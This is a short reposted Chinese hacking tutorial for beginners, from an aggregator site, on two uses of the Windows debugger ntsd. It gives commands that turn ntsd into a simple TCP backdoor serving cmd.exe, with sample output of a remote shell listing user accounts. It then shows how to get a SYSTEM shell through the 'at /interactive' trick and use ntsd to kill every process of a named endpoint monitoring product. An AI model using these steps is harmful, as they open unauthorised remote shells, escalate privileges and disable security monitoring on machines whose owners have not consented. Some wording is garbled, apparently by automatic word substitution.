ntsd的两个本领[菜鸟入门]
本文“ntsd的两个本领[菜鸟入门]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
ntsd是win2000开始自带的号令行调试工具
一.简易后门
ntsd -server tcp:port=22 cmd.exe
在另一台机上:
ntsd -remote tcp:server=192.168.1.33,port=22
.shell
后果:
0:000> .shell
Microsoft Windows XP [版本 5.1.2600]
(C) 版权全部 1985-2001 Microsoft Corp.
C:\><.shell waiting 1 second(s) for process>
<.shell process may need input>net user
net user
<.shell waiting 1 second(s) for process>
\\X-4F5625DB5B074 的用户帐户
——————————————————————————-
aaa Administrator Guest
HelpAssistant IUSR_X-4F5625DB5B074 IWAM_X-4F5625DB5B074
SUPPORT_388945a0 xhacker
号令成功完成.
C:\><.shell waiting 1 second(s) for process>
<.shell process may need input>
二.杀进程
先用tasklist找到要杀的PID,然后ntsd -c q -p PID
有些程序需求system权限才能kill,假定目前系统时间是4:55PM
“开始 “-> “运行 “-> “at 16:56 /interactive %systemroot%\system32\cmd.exe “-> 回车
这样在4:56PM就会得到一个system权限的shell
在这个shell里面利用ntsd号令把“北信源监控”的全部进程杀掉.
以上是“ntsd的两个本领[菜鸟入门]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |
- ·上一篇文章:局域网内若何避免ARP的拐骗
- ·下一篇文章:百度文库成就奉行菜鸟及外链高手的转化
- ·中查找“ntsd的两个本领”更多相关内容
- ·中查找“ntsd的两个本领”更多相关内容